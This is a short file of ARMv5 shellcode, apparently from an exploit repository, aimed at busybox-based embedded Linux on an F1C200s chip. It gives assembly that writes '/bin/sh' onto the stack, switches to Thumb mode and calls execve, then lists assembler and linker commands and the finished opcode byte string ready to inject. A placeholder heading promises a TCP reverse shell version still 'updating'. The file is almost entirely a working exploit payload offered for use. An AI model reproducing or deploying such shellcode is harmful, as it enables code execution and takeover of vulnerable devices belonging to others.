Armv5_shellcode
适用busybox
/*
#execve("/bin/sh",["/bin/sh"],NULL)
#Date:2022-4-14
#Author:doudoudedi
#Text:F1C200s
*/
.section .text
.global _start
_start:
.ARM
mov r7,#0x68
strb r7,[sp,#-0x15]
mov r7,#0x73
strb r7,[sp,#-0x16]
mov r7,#0x2f
strb r7,[sp,#-0x17]
mov r7,#0x6e
strb r7,[sp,#-0x18]
mov r7,#0x69
strb r7,[sp,#-0x19]
mov r7,#0x62
strb r7,[sp,#-0x1a]
mov r7,#0x2f
strb r7,[sp,#-0x1b]
eor r3,r3,r3
eor r2,r2,r2
eor r4,r4,r4
add r4,sp,#-0x1b
add r3,pc,#1
bx r3
.THUMB
mov r0,r4
push {r0,r1}
mov r1,sp
mov r2,#1
sub r2,r2,#1
mov r7,#0xb
svc #1
/*
Compile and link with:
# arm-linux-gnueabi-as -o shellcode.o shellcode.s
# arm-linux-gnueabi-ld -N shellcode.o -o shellcode
opcode
"\x68\x70\xa0\xe3\x15\x70\x4d\xe5\x73\x70\xa0\xe3\x16\x70\x4d\xe5\x2f\x70\xa0\xe3\x17\x70\x4d\xe5\x6e\x70\xa0\xe3\x18\x70\x4d\xe5\x69\x70\xa0\xe3\x19\x70\x4d\xe5\x62\x70\xa0\xe3\x1a\x70\x4d\xe5\x2f\x70\xa0\xe3\x1b\x70\x4d\xe5\x03\x30\x23\xe0\x02\x20\x22\xe0\x04\x40\x24\xe0\x1b\x40\x4d\xe2\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x20\x1c\x03\xb4\x69\x46\x01\x22\x01\x3a\x0b\x27\x01\xdf\xc0\x46"
*/
Reverse Shell TCP(Armv5)
updating